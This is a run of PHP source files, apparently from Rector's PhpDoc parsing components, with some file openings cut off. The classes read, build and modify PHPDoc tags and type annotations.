* @return mixed[] */ public function getTokens() : array { return $this->betterTokenIterator->getTokens(); } public function getTokenCount() : int { return $this->betterTokenIterator->count(); } public function getVarTagValueNode(string $tagName = '@var') : ?VarTagValueNode { return $this->phpDocNode->getVarTagValues($tagName)[0] ?? null; } /** * @return array */ public function getTagsByName(string $name) : array { // for simple tag names only if (\strpos($name, '\\') !== \false) { return []; } $tags = $this->phpDocNode->getTags(); $name = $this->annotationNaming->normalizeName($name); $tags = \array_filter($tags, static function (PhpDocTagNode $phpDocTagNode) use($name) : bool { return $phpDocTagNode->name === $name; }); return \array_values($tags); } public function getParamType(string $name) : Type { $paramTagValueNodes = $this->getParamTagValueByName($name); return $this->getTypeOrMixed($paramTagValueNodes); } /** * @return ParamTagValueNode[] */ public function getParamTagValueNodes() : array { return $this->phpDocNode->getParamTagValues(); } public function getVarType(string $tagName = '@var') : Type { return $this->getTypeOrMixed($this->getVarTagValueNode($tagName)); } public function getReturnType() : Type { return $this->getTypeOrMixed($this->getReturnTagValue()); } /** * @param class-string $type */ public function hasByType(string $type) : bool { return $this->phpDocNodeByTypeFinder->findByType($this->phpDocNode, $type) !== []; } /** * @param array> $types */ public function hasByTypes(array $types) : bool { foreach ($types as $type) { if ($this->hasByType($type)) { return \true; } } return \false; } /** * @param string[] $names */ public function hasByNames(array $names) : bool { foreach ($names as $name) { if ($this->hasByName($name)) { return \true; } } return \false; } public function hasByName(string $name) : bool { return (bool) $this->getTagsByName($name); } /** * @api */ public function getByName(string $name) : ?Node { return $this->getTagsByName($name)[0] ?? null; } /** * @param string[] $classes */ public function getByAnnotationClasses(array $classes) : ?DoctrineAnnotationTagValueNode { $doctrineAnnotationTagValueNodes = $this->phpDocNodeByTypeFinder->findDoctrineAnnotationsByClasses($this->phpDocNode, $classes); return $doctrineAnnotationTagValueNodes[0] ?? null; } /** * @api doctrine/symfony */ public function getByAnnotationClass(string $class) : ?DoctrineAnnotationTagValueNode { $doctrineAnnotationTagValueNodes = $this->phpDocNodeByTypeFinder->findDoctrineAnnotationsByClass($this->phpDocNode, $class); return $doctrineAnnotationTagValueNodes[0] ?? null; } /** * @api used in tests, doctrine */ public function hasByAnnotationClass(string $class) : bool { return $this->findByAnnotationClass($class) !== []; } /** * @param string[] $annotationsClasses */ public function hasByAnnotationClasses(array $annotationsClasses) : bool { return $this->getByAnnotationClasses($annotationsClasses) instanceof DoctrineAnnotationTagValueNode; } public function findOneByAnnotationClass(string $desiredClass) : ?DoctrineAnnotationTagValueNode { $foundTagValueNodes = $this->findByAnnotationClass($desiredClass); return $foundTagValueNodes[0] ?? null; } /** * @template T of \PHPStan\PhpDocParser\Ast\Node * @param class-string $typeToRemove */ public function removeByType(string $typeToRemove, ?string $name = null) : bool { $hasChanged = \false; $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($this->phpDocNode, '', static function (Node $node) use($typeToRemove, &$hasChanged, $name) : ?int { if ($node instanceof PhpDocTagNode && $node->value instanceof $typeToRemove) { // keep special annotation for tools if (\strncmp($node->name, '@psalm-', \strlen('@psalm-')) === 0) { return null; } if (\strncmp($node->name, '@phpstan-', \strlen('@phpstan-')) === 0) { return null; } if ($name !== null && $node->value instanceof VarTagValueNode && $node->value->variableName !== '$' . \ltrim($name, '$')) { return PhpDocNodeTraverser::DONT_TRAVERSE_CHILDREN; } $hasChanged = \true; return PhpDocNodeTraverser::NODE_REMOVE; } if (!$node instanceof $typeToRemove) { return null; } $hasChanged = \true; return PhpDocNodeTraverser::NODE_REMOVE; }); return $hasChanged; } public function removeByName(string $tagName) : bool { $tagName = '@' . \ltrim($tagName, '@'); $hasChanged = \false; $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($this->phpDocNode, '', static function (Node $node) use($tagName, &$hasChanged) : ?int { if ($node instanceof PhpDocTagNode && $node->name === $tagName) { $hasChanged = \true; return PhpDocNodeTraverser::NODE_REMOVE; } return null; }); return $hasChanged; } public function addTagValueNode(PhpDocTagValueNode $phpDocTagValueNode) : void { if ($phpDocTagValueNode instanceof DoctrineAnnotationTagValueNode) { if ($phpDocTagValueNode->identifierTypeNode instanceof ShortenedIdentifierTypeNode) { $name = '@' . $phpDocTagValueNode->identifierTypeNode; } else { $name = '@\\' . $phpDocTagValueNode->identifierTypeNode; } $spacelessPhpDocTagNode = new SpacelessPhpDocTagNode($name, $phpDocTagValueNode); $this->addPhpDocTagNode($spacelessPhpDocTagNode); return; } $name = $this->resolveNameForPhpDocTagValueNode($phpDocTagValueNode); if (!\is_string($name)) { throw new ShouldNotHappenException(\sprintf('Name could not be resolved for "%s" tag value node. Complete it to %s::TAGS_TYPES_TO_NAMES constant', \get_class($phpDocTagValueNode), self::class)); } $phpDocTagNode = new PhpDocTagNode($name, $phpDocTagValueNode); $this->addPhpDocTagNode($phpDocTagNode); } public function isNewNode() : bool { if ($this->phpDocNode->children === []) { return \false; } return $this->betterTokenIterator->count() === 0; } public function isSingleLine() : bool { return $this->isSingleLine; } public function hasInvalidTag(string $name) : bool { // fallback for invalid tag value node foreach ($this->phpDocNode->children as $phpDocChildNode) { if (!$phpDocChildNode instanceof PhpDocTagNode) { continue; } if ($phpDocChildNode->name !== $name) { continue; } if (!$phpDocChildNode->value instanceof InvalidTagValueNode) { continue; } return \true; } return \false; } public function getReturnTagValue() : ?ReturnTagValueNode { $returnTagValueNodes = $this->phpDocNode->getReturnTagValues(); return $returnTagValueNodes[0] ?? null; } public function getParamTagValueByName(string $name) : ?ParamTagValueNode { $desiredParamNameWithDollar = '$' . \ltrim($name, '$'); foreach ($this->getParamTagValueNodes() as $paramTagValueNode) { if ($paramTagValueNode->parameterName !== $desiredParamNameWithDollar) { continue; } return $paramTagValueNode; } return null; } /** * @return string[] */ public function getTemplateNames() : array { $templateNames = []; foreach ($this->phpDocNode->getTemplateTagValues() as $templateTagValueNode) { $templateNames[] = $templateTagValueNode->name; } return $templateNames; } public function makeMultiLined() : void { $this->isSingleLine = \false; } public function getNode() : \PhpParser\Node { return $this->node; } /** * @return string[] */ public function getAnnotationClassNames() : array { /** @var IdentifierTypeNode[] $identifierTypeNodes */ $identifierTypeNodes = $this->phpDocNodeByTypeFinder->findByType($this->phpDocNode, IdentifierTypeNode::class); $resolvedClasses = []; foreach ($identifierTypeNodes as $identifierTypeNode) { $resolvedClasses[] = \ltrim($identifierTypeNode->name, '@'); } return $resolvedClasses; } /** * @return string[] */ public function getGenericTagClassNames() : array { /** @var GenericTagValueNode[] $genericTagValueNodes */ $genericTagValueNodes = $this->phpDocNodeByTypeFinder->findByType($this->phpDocNode, GenericTagValueNode::class); $resolvedClasses = []; foreach ($genericTagValueNodes as $genericTagValueNode) { if ($genericTagValueNode->value !== '') { $resolvedClasses[] = $genericTagValueNode->value; } } return $resolvedClasses; } /** * @return string[] */ public function getConstFetchNodeClassNames() : array { $phpDocNodeTraverser = new PhpDocNodeTraverser(); $classNames = []; $phpDocNodeTraverser->traverseWithCallable($this->phpDocNode, '', static function (Node $node) use(&$classNames) : ?ConstTypeNode { if (!$node instanceof ConstTypeNode) { return null; } if (!$node->constExpr instanceof ConstFetchNode) { return null; } $classNames[] = $node->constExpr->getAttribute(PhpDocAttributeKey::RESOLVED_CLASS); return $node; }); return $classNames; } /** * @return string[] */ public function getArrayItemNodeClassNames() : array { $phpDocNodeTraverser = new PhpDocNodeTraverser(); $classNames = []; $phpDocNodeTraverser->traverseWithCallable($this->phpDocNode, '', static function (Node $node) use(&$classNames) : ?ArrayItemNode { if (!$node instanceof ArrayItemNode) { return null; } $resolvedClass = $node->getAttribute(PhpDocAttributeKey::RESOLVED_CLASS); if ($resolvedClass === null) { return null; } $classNames[] = $resolvedClass; return $node; }); return $classNames; } /** * @param class-string $desiredClass * @return DoctrineAnnotationTagValueNode[] */ public function findByAnnotationClass(string $desiredClass) : array { return $this->phpDocNodeByTypeFinder->findDoctrineAnnotationsByClass($this->phpDocNode, $desiredClass); } private function resolveNameForPhpDocTagValueNode(PhpDocTagValueNode $phpDocTagValueNode) : ?string { foreach (self::TAGS_TYPES_TO_NAMES as $tagValueNodeType => $name) { /** @var class-string $tagValueNodeType */ if ($phpDocTagValueNode instanceof $tagValueNodeType) { return $name; } } return null; } /** * @return \PHPStan\Type\MixedType|\PHPStan\Type\Type */ private function getTypeOrMixed(?PhpDocTagValueNode $phpDocTagValueNode) { if (!$phpDocTagValueNode instanceof PhpDocTagValueNode) { return new MixedType(); } return $this->staticTypeMapper->mapPHPStanPhpDocTypeToPHPStanType($phpDocTagValueNode, $this->node); } } */ private $phpDocInfosByObjectId = []; public function __construct(PhpDocNodeMapper $phpDocNodeMapper, Lexer $lexer, BetterPhpDocParser $betterPhpDocParser, StaticTypeMapper $staticTypeMapper, AnnotationNaming $annotationNaming, PhpDocNodeByTypeFinder $phpDocNodeByTypeFinder) { $this->phpDocNodeMapper = $phpDocNodeMapper; $this->lexer = $lexer; $this->betterPhpDocParser = $betterPhpDocParser; $this->staticTypeMapper = $staticTypeMapper; $this->annotationNaming = $annotationNaming; $this->phpDocNodeByTypeFinder = $phpDocNodeByTypeFinder; } public function createFromNodeOrEmpty(Node $node) : \Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo { // already added $phpDocInfo = $node->getAttribute(AttributeKey::PHP_DOC_INFO); if ($phpDocInfo instanceof \Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo) { return $phpDocInfo; } $phpDocInfo = $this->createFromNode($node); if ($phpDocInfo instanceof \Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo) { return $phpDocInfo; } return $this->createEmpty($node); } public function createFromNode(Node $node) : ?\Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo { $objectId = \spl_object_id($node); if (isset($this->phpDocInfosByObjectId[$objectId])) { return $this->phpDocInfosByObjectId[$objectId]; } $docComment = $node->getDocComment(); if (!$docComment instanceof Doc) { if ($node->getComments() === []) { return null; } // create empty node $tokenIterator = new BetterTokenIterator([]); $phpDocNode = new PhpDocNode([]); } else { $tokens = $this->lexer->tokenize($docComment->getText()); $tokenIterator = new BetterTokenIterator($tokens); $phpDocNode = $this->betterPhpDocParser->parseWithNode($tokenIterator, $node); $this->setPositionOfLastToken($phpDocNode); } $phpDocInfo = $this->createFromPhpDocNode($phpDocNode, $tokenIterator, $node); $this->phpDocInfosByObjectId[$objectId] = $phpDocInfo; return $phpDocInfo; } /** * @api downgrade */ public function createEmpty(Node $node) : \Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo { $phpDocNode = new PhpDocNode([]); $phpDocInfo = $this->createFromPhpDocNode($phpDocNode, new BetterTokenIterator([]), $node); // multiline by default $phpDocInfo->makeMultiLined(); return $phpDocInfo; } /** * Needed for printing */ private function setPositionOfLastToken(PhpDocNode $phpDocNode) : void { if ($phpDocNode->children === []) { return; } $phpDocChildNodes = $phpDocNode->children; $phpDocChildNode = \array_pop($phpDocChildNodes); $startAndEnd = $phpDocChildNode->getAttribute(PhpDocAttributeKey::START_AND_END); if ($startAndEnd instanceof StartAndEnd) { $phpDocNode->setAttribute(PhpDocAttributeKey::LAST_PHP_DOC_TOKEN_POSITION, $startAndEnd->getEnd()); } } private function createFromPhpDocNode(PhpDocNode $phpDocNode, BetterTokenIterator $betterTokenIterator, Node $node) : \Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo { $this->phpDocNodeMapper->transform($phpDocNode, $betterTokenIterator); $phpDocInfo = new \Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo($phpDocNode, $betterTokenIterator, $this->staticTypeMapper, $node, $this->annotationNaming, $this->phpDocNodeByTypeFinder); $node->setAttribute(AttributeKey::PHP_DOC_INFO, $phpDocInfo); return $phpDocInfo; } } lexer = $lexer; } public function create(string $content) : BetterTokenIterator { $tokens = $this->lexer->tokenize($content); return new BetterTokenIterator($tokens); } public function createFromTokenIterator(TokenIterator $tokenIterator) : BetterTokenIterator { if ($tokenIterator instanceof BetterTokenIterator) { return $tokenIterator; } // keep original tokens and index position $tokens = $tokenIterator->getTokens(); $currentIndex = $tokenIterator->currentTokenIndex(); return new BetterTokenIterator($tokens, $currentIndex); } } classAnnotationMatcher = $classAnnotationMatcher; $this->renamedNameCollector = $renamedNameCollector; } /** * Covers annotations like @ORM, @Serializer, @Assert etc * See https://github.com/rectorphp/rector/issues/1872 * * @param string[] $oldToNewClasses */ public function changeTypeInAnnotationTypes(Node $node, PhpDocInfo $phpDocInfo, array $oldToNewClasses, bool &$hasChanged) : bool { $this->processAssertChoiceTagValueNode($oldToNewClasses, $phpDocInfo, $hasChanged); $this->processDoctrineRelationTagValueNode($node, $oldToNewClasses, $phpDocInfo, $hasChanged); $this->processSerializerTypeTagValueNode($oldToNewClasses, $phpDocInfo, $hasChanged); return $hasChanged; } /** * @param array $oldToNewClasses */ private function processAssertChoiceTagValueNode(array $oldToNewClasses, PhpDocInfo $phpDocInfo, bool &$hasChanged) : void { $assertChoiceDoctrineAnnotationTagValueNode = $phpDocInfo->findOneByAnnotationClass('Symfony\\Component\\Validator\\Constraints\\Choice'); if (!$assertChoiceDoctrineAnnotationTagValueNode instanceof DoctrineAnnotationTagValueNode) { return; } $callbackArrayItemNode = $assertChoiceDoctrineAnnotationTagValueNode->getValue('callback'); if (!$callbackArrayItemNode instanceof ArrayItemNode) { return; } $callbackClass = $callbackArrayItemNode->value; // array is needed for callable if (!$callbackClass instanceof CurlyListNode) { return; } $callableCallbackArrayItems = $callbackClass->getValues(); $classNameArrayItemNode = $callableCallbackArrayItems[0]; $classNameStringNode = $classNameArrayItemNode->value; if (!$classNameStringNode instanceof StringNode) { return; } foreach ($oldToNewClasses as $oldClass => $newClass) { if ($classNameStringNode->value !== $oldClass) { continue; } $this->renamedNameCollector->add($oldClass); $classNameStringNode->value = $newClass; // trigger reprint $classNameArrayItemNode->setAttribute(PhpDocAttributeKey::ORIG_NODE, null); $hasChanged = \true; break; } } /** * @param array $oldToNewClasses */ private function processDoctrineRelationTagValueNode(Node $node, array $oldToNewClasses, PhpDocInfo $phpDocInfo, bool &$hasChanged) : void { $doctrineAnnotationTagValueNode = $phpDocInfo->getByAnnotationClasses(['Doctrine\\ORM\\Mapping\\OneToMany', 'Doctrine\\ORM\\Mapping\\ManyToMany', 'Doctrine\\ORM\\Mapping\\Embedded']); if (!$doctrineAnnotationTagValueNode instanceof DoctrineAnnotationTagValueNode) { return; } $this->processDoctrineToMany($doctrineAnnotationTagValueNode, $node, $oldToNewClasses, $hasChanged); } /** * @param array $oldToNewClasses */ private function processSerializerTypeTagValueNode(array $oldToNewClasses, PhpDocInfo $phpDocInfo, bool &$hasChanged) : void { $doctrineAnnotationTagValueNode = $phpDocInfo->findOneByAnnotationClass('JMS\\Serializer\\Annotation\\Type'); if (!$doctrineAnnotationTagValueNode instanceof DoctrineAnnotationTagValueNode) { return; } $classNameArrayItemNode = $doctrineAnnotationTagValueNode->getSilentValue(); foreach ($oldToNewClasses as $oldClass => $newClass) { if ($classNameArrayItemNode instanceof ArrayItemNode && $classNameArrayItemNode->value instanceof StringNode) { $classNameStringNode = $classNameArrayItemNode->value; if ($classNameStringNode->value === $oldClass) { $classNameStringNode->value = $newClass; continue; } $this->renamedNameCollector->add($oldClass); $classNameStringNode->value = Strings::replace($classNameStringNode->value, '#\\b' . \preg_quote($oldClass, '#') . '\\b#', $newClass); $classNameArrayItemNode->setAttribute(PhpDocAttributeKey::ORIG_NODE, null); $hasChanged = \true; } $currentTypeArrayItemNode = $doctrineAnnotationTagValueNode->getValue('type'); if (!$currentTypeArrayItemNode instanceof ArrayItemNode) { continue; } $currentTypeStringNode = $currentTypeArrayItemNode->value; if (!$currentTypeStringNode instanceof StringNode) { continue; } if ($currentTypeStringNode->value === $oldClass) { $currentTypeStringNode->value = $newClass; $hasChanged = \true; } } } /** * @param array $oldToNewClasses */ private function processDoctrineToMany(DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode, Node $node, array $oldToNewClasses, bool &$hasChanged) : void { $classKey = $doctrineAnnotationTagValueNode->hasClassName('Doctrine\\ORM\\Mapping\\Embedded') ? 'class' : 'targetEntity'; $targetEntityArrayItemNode = $doctrineAnnotationTagValueNode->getValue($classKey); if (!$targetEntityArrayItemNode instanceof ArrayItemNode) { return; } $targetEntityStringNode = $targetEntityArrayItemNode->value; if (!$targetEntityStringNode instanceof StringNode) { return; } $targetEntityClass = $targetEntityStringNode->value; // resolve to FQN $tagFullyQualifiedName = $this->classAnnotationMatcher->resolveTagFullyQualifiedName($targetEntityClass, $node); foreach ($oldToNewClasses as $oldClass => $newClass) { if ($tagFullyQualifiedName !== $oldClass) { continue; } $this->renamedNameCollector->add($oldClass); $targetEntityStringNode->value = $newClass; $targetEntityArrayItemNode->setAttribute(PhpDocAttributeKey::ORIG_NODE, null); $hasChanged = \true; } } } getPhpDocNode(); foreach ($phpDocNode->children as $key => $phpDocChildNode) { if (!$phpDocChildNode instanceof PhpDocTagNode) { continue; } if ($this->areAnnotationNamesEqual($name, $phpDocChildNode->name)) { unset($phpDocNode->children[$key]); $hasChanged = \true; } if ($phpDocChildNode->value instanceof DoctrineAnnotationTagValueNode && $phpDocChildNode->value->hasClassName($name)) { unset($phpDocNode->children[$key]); $hasChanged = \true; } } return $hasChanged; } public function removeTagValueFromNode(PhpDocInfo $phpDocInfo, Node $desiredNode) : bool { $phpDocNode = $phpDocInfo->getPhpDocNode(); $hasChanged = \false; $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($phpDocNode, '', static function (Node $node) use($desiredNode, &$hasChanged) : ?int { if ($node instanceof PhpDocTagNode && $node->value === $desiredNode) { $hasChanged = \true; return PhpDocNodeTraverser::NODE_REMOVE; } if ($node !== $desiredNode) { return null; } $hasChanged = \true; return PhpDocNodeTraverser::NODE_REMOVE; }); return $hasChanged; } private function areAnnotationNamesEqual(string $firstAnnotationName, string $secondAnnotationName) : bool { $firstAnnotationName = \trim($firstAnnotationName, '@'); $secondAnnotationName = \trim($secondAnnotationName, '@'); return $firstAnnotationName === $secondAnnotationName; } } > */ private const ALLOWED_TYPES = [GenericTypeNode::class, SpacingAwareArrayTypeNode::class, SpacingAwareCallableTypeNode::class, ArrayShapeNode::class]; /** * @var string[] */ private const ALLOWED_IDENTIFIER_TYPENODE_TYPES = ['class-string']; public function __construct(StaticTypeMapper $staticTypeMapper, TypeComparator $typeComparator, ParamPhpDocNodeFactory $paramPhpDocNodeFactory, NewPhpDocFromPHPStanTypeGuard $newPhpDocFromPHPStanTypeGuard, DocBlockUpdater $docBlockUpdater) { $this->staticTypeMapper = $staticTypeMapper; $this->typeComparator = $typeComparator; $this->paramPhpDocNodeFactory = $paramPhpDocNodeFactory; $this->newPhpDocFromPHPStanTypeGuard = $newPhpDocFromPHPStanTypeGuard; $this->docBlockUpdater = $docBlockUpdater; } public function changeVarType(Stmt $stmt, PhpDocInfo $phpDocInfo, Type $newType) : void { // better skip, could crash hard if ($phpDocInfo->hasInvalidTag('@var')) { return; } // make sure the tags are not identical, e.g imported class vs FQN class if ($this->typeComparator->areTypesEqual($phpDocInfo->getVarType(), $newType)) { return; } // prevent existing type override by mixed if (!$phpDocInfo->getVarType() instanceof MixedType && $newType instanceof ConstantArrayType && $newType->getItemType() instanceof NeverType) { return; } if (!$this->newPhpDocFromPHPStanTypeGuard->isLegal($newType)) { return; } // override existing type $newPHPStanPhpDocTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPHPStanPhpDocTypeNode($newType); $currentVarTagValueNode = $phpDocInfo->getVarTagValueNode(); if ($currentVarTagValueNode instanceof VarTagValueNode) { // only change type $currentVarTagValueNode->type = $newPHPStanPhpDocTypeNode; } else { // add completely new one $varTagValueNode = new VarTagValueNode($newPHPStanPhpDocTypeNode, '', ''); $phpDocInfo->addTagValueNode($varTagValueNode); } $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($stmt); } public function changeReturnType(FunctionLike $functionLike, PhpDocInfo $phpDocInfo, Type $newType) : bool { // better not touch this, can crash if ($phpDocInfo->hasInvalidTag('@return')) { return \false; } // make sure the tags are not identical, e.g imported class vs FQN class if ($this->typeComparator->areTypesEqual($phpDocInfo->getReturnType(), $newType)) { return \false; } if (!$this->newPhpDocFromPHPStanTypeGuard->isLegal($newType)) { return \false; } // override existing type $newPHPStanPhpDocTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPHPStanPhpDocTypeNode($newType); $currentReturnTagValueNode = $phpDocInfo->getReturnTagValue(); if ($currentReturnTagValueNode instanceof ReturnTagValueNode) { // only change type $currentReturnTagValueNode->type = $newPHPStanPhpDocTypeNode; } else { // add completely new one $returnTagValueNode = new ReturnTagValueNode($newPHPStanPhpDocTypeNode, ''); $phpDocInfo->addTagValueNode($returnTagValueNode); } $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($functionLike); return \true; } public function changeParamType(FunctionLike $functionLike, PhpDocInfo $phpDocInfo, Type $newType, Param $param, string $paramName) : bool { // better skip, could crash hard if ($phpDocInfo->hasInvalidTag('@param')) { return \false; } if (!$this->newPhpDocFromPHPStanTypeGuard->isLegal($newType)) { return \false; } $phpDocTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPHPStanPhpDocTypeNode($newType); $paramTagValueNode = $phpDocInfo->getParamTagValueByName($paramName); // override existing type if ($paramTagValueNode instanceof ParamTagValueNode) { // already set $currentType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($paramTagValueNode->type, $param); // avoid overriding better type if ($this->typeComparator->isSubtype($currentType, $newType)) { return \false; } if ($this->typeComparator->areTypesEqual($currentType, $newType)) { return \false; } $paramTagValueNode->type = $phpDocTypeNode; } else { $paramTagValueNode = $this->paramPhpDocNodeFactory->create($phpDocTypeNode, $param); $phpDocInfo->addTagValueNode($paramTagValueNode); } $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($functionLike); return \true; } public function isAllowed(TypeNode $typeNode) : bool { if ($typeNode instanceof BracketsAwareUnionTypeNode || $typeNode instanceof BracketsAwareIntersectionTypeNode) { foreach ($typeNode->types as $type) { if ($this->isAllowed($type)) { return \true; } } } if ($typeNode instanceof ConstTypeNode && $typeNode->constExpr instanceof ConstFetchNode) { return \true; } if (\in_array(\get_class($typeNode), self::ALLOWED_TYPES, \true)) { return \true; } if (!$typeNode instanceof IdentifierTypeNode) { return \false; } return \in_array((string) $typeNode, self::ALLOWED_IDENTIFIER_TYPENODE_TYPES, \true); } /** * @api downgrade */ public function changeVarTypeNode(Stmt $stmt, PhpDocInfo $phpDocInfo, TypeNode $typeNode) : void { // add completely new one $varTagValueNode = new VarTagValueNode($typeNode, '', ''); $phpDocInfo->addTagValueNode($varTagValueNode); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($stmt); } } $desiredType * @return array */ public function findByType(PhpDocNode $phpDocNode, string $desiredType) : array { $phpDocNodeTraverser = new PhpDocNodeTraverser(); $foundNodes = []; $phpDocNodeTraverser->traverseWithCallable($phpDocNode, '', static function (Node $node) use(&$foundNodes, $desiredType) : Node { if (!$node instanceof $desiredType) { return $node; } /** @var TNode $node */ $foundNodes[] = $node; return $node; }); return $foundNodes; } /** * @param string[] $classes * @return DoctrineAnnotationTagValueNode[] */ public function findDoctrineAnnotationsByClasses(PhpDocNode $phpDocNode, array $classes) : array { $doctrineAnnotationTagValueNodes = []; foreach ($classes as $class) { $justFoundTagValueNodes = $this->findDoctrineAnnotationsByClass($phpDocNode, $class); $doctrineAnnotationTagValueNodes = \array_merge($doctrineAnnotationTagValueNodes, $justFoundTagValueNodes); } return $doctrineAnnotationTagValueNodes; } /** * @param class-string $desiredClass * @return DoctrineAnnotationTagValueNode[] */ public function findDoctrineAnnotationsByClass(PhpDocNode $phpDocNode, string $desiredClass) : array { $desiredDoctrineTagValueNodes = []; /** @var DoctrineAnnotationTagValueNode[] $doctrineTagValueNodes */ $doctrineTagValueNodes = $this->findByType($phpDocNode, DoctrineAnnotationTagValueNode::class); foreach ($doctrineTagValueNodes as $doctrineTagValueNode) { if ($doctrineTagValueNode->hasClassName($desiredClass)) { $desiredDoctrineTagValueNodes[] = $doctrineTagValueNode; } } return $desiredDoctrineTagValueNodes; } } currentTokenIteratorProvider = $currentTokenIteratorProvider; $this->phpDocNodeVisitors = $phpDocNodeVisitors; Assert::notEmpty($phpDocNodeVisitors); $this->phpDocNodeTraverser = new PhpDocNodeTraverser(); $this->phpDocNodeTraverser->addPhpDocNodeVisitor($parentConnectingPhpDocNodeVisitor); $this->phpDocNodeTraverser->addPhpDocNodeVisitor($cloningPhpDocNodeVisitor); foreach ($this->phpDocNodeVisitors as $phpDocNodeVisitor) { $this->phpDocNodeTraverser->addPhpDocNodeVisitor($phpDocNodeVisitor); } } public function transform(PhpDocNode $phpDocNode, BetterTokenIterator $betterTokenIterator) : void { $this->currentTokenIteratorProvider->setBetterTokenIterator($betterTokenIterator); $this->phpDocNodeTraverser->traverse($phpDocNode); } } attributeMirrorer = $attributeMirrorer; } public function enterNode(Node $node) : ?Node { if (!$node instanceof ArrayTypeNode) { return null; } if ($node instanceof SpacingAwareArrayTypeNode) { return null; } $spacingAwareArrayTypeNode = new SpacingAwareArrayTypeNode($node->type); $this->attributeMirrorer->mirror($node, $spacingAwareArrayTypeNode); return $spacingAwareArrayTypeNode; } } attributeMirrorer = $attributeMirrorer; } public function enterNode(Node $node) : ?Node { if (!$node instanceof CallableTypeNode) { return null; } if ($node instanceof SpacingAwareCallableTypeNode) { return null; } $spacingAwareCallableTypeNode = new SpacingAwareCallableTypeNode($node->identifier, $node->parameters, $node->returnType); $this->attributeMirrorer->mirror($node, $spacingAwareCallableTypeNode); return $spacingAwareCallableTypeNode; } } hasChanged = \false; } public function enterNode(Node $node) : ?Node { $origNode = $node->getAttribute(PhpDocAttributeKey::ORIG_NODE); if ($origNode === null) { $this->hasChanged = \true; } return null; } public function hasChanged() : bool { return $this->hasChanged; } } attributeMirrorer = $attributeMirrorer; } public function enterNode(Node $node) : ?Node { if (!$node instanceof IntersectionTypeNode) { return null; } if ($node instanceof BracketsAwareIntersectionTypeNode) { return null; } $bracketsAwareIntersectionTypeNode = new BracketsAwareIntersectionTypeNode($node->types); $this->attributeMirrorer->mirror($node, $bracketsAwareIntersectionTypeNode); return $bracketsAwareIntersectionTypeNode; } } currentTokenIteratorProvider = $currentTokenIteratorProvider; $this->attributeMirrorer = $attributeMirrorer; } public function enterNode(Node $node) : ?Node { if (!$node instanceof TemplateTagValueNode) { return null; } if ($node instanceof SpacingAwareTemplateTagValueNode) { return null; } $betterTokenIterator = $this->currentTokenIteratorProvider->provide(); $startAndEnd = $node->getAttribute(PhpDocAttributeKey::START_AND_END); if (!$startAndEnd instanceof StartAndEnd) { throw new ShouldNotHappenException(); } $prepositions = $this->resolvePreposition($betterTokenIterator, $startAndEnd); $spacingAwareTemplateTagValueNode = new SpacingAwareTemplateTagValueNode($node->name, $node->bound, $node->description, $prepositions); $this->attributeMirrorer->mirror($node, $spacingAwareTemplateTagValueNode); return $spacingAwareTemplateTagValueNode; } private function resolvePreposition(BetterTokenIterator $betterTokenIterator, StartAndEnd $startAndEnd) : string { $partialTokens = $betterTokenIterator->partialTokens($startAndEnd->getStart(), $startAndEnd->getEnd()); foreach ($partialTokens as $partialToken) { if ($partialToken[1] !== Lexer::TOKEN_IDENTIFIER) { continue; } if (!\in_array($partialToken[0], ['as', 'of'], \true)) { continue; } return $partialToken[0]; } return 'of'; } } currentTokenIteratorProvider = $currentTokenIteratorProvider; $this->attributeMirrorer = $attributeMirrorer; } public function enterNode(Node $node) : ?Node { if (!$node instanceof UnionTypeNode) { return null; } if ($node instanceof BracketsAwareUnionTypeNode) { return null; } $startAndEnd = $this->resolveStardAndEnd($node); if (!$startAndEnd instanceof StartAndEnd) { return null; } $betterTokenProvider = $this->currentTokenIteratorProvider->provide(); $isWrappedInCurlyBrackets = $this->isWrappedInCurlyBrackets($betterTokenProvider, $startAndEnd); $bracketsAwareUnionTypeNode = new BracketsAwareUnionTypeNode($node->types, $isWrappedInCurlyBrackets); $this->attributeMirrorer->mirror($node, $bracketsAwareUnionTypeNode); return $bracketsAwareUnionTypeNode; } private function isWrappedInCurlyBrackets(BetterTokenIterator $betterTokenProvider, StartAndEnd $startAndEnd) : bool { $previousPosition = $startAndEnd->getStart() - 1; if ($betterTokenProvider->isTokenTypeOnPosition(Lexer::TOKEN_OPEN_PARENTHESES, $previousPosition)) { return \true; } // there is no + 1, as end is right at the next token return $betterTokenProvider->isTokenTypeOnPosition(Lexer::TOKEN_CLOSE_PARENTHESES, $startAndEnd->getEnd()); } private function resolveStardAndEnd(UnionTypeNode $unionTypeNode) : ?StartAndEnd { $starAndEnd = $unionTypeNode->getAttribute(PhpDocAttributeKey::START_AND_END); if ($starAndEnd instanceof StartAndEnd) { return $starAndEnd; } // unwrap with parent array type... $parentNode = $unionTypeNode->getAttribute(PhpDocAttributeKey::PARENT); if (!$parentNode instanceof Node) { return null; } return $parentNode->getAttribute(PhpDocAttributeKey::START_AND_END); } } nameScopeFactory = $nameScopeFactory; $this->phpDocNodeTraverser = $phpDocNodeTraverser; } public function decorate(PhpDocNode $phpDocNode, PhpNode $phpNode) : void { // iterating all phpdocs has big overhead. peek into the phpdoc to exit early if (\strpos($phpDocNode->__toString(), '::') === \false) { return; } $this->phpDocNodeTraverser->traverseWithCallable($phpDocNode, '', function (Node $node) use($phpNode) : ?\PHPStan\PhpDocParser\Ast\Node { if (!$node instanceof ArrayItemNode) { return null; } if (!\is_string($node->value)) { return null; } $splitScopeResolution = \explode('::', $node->value); if (\count($splitScopeResolution) !== 2) { 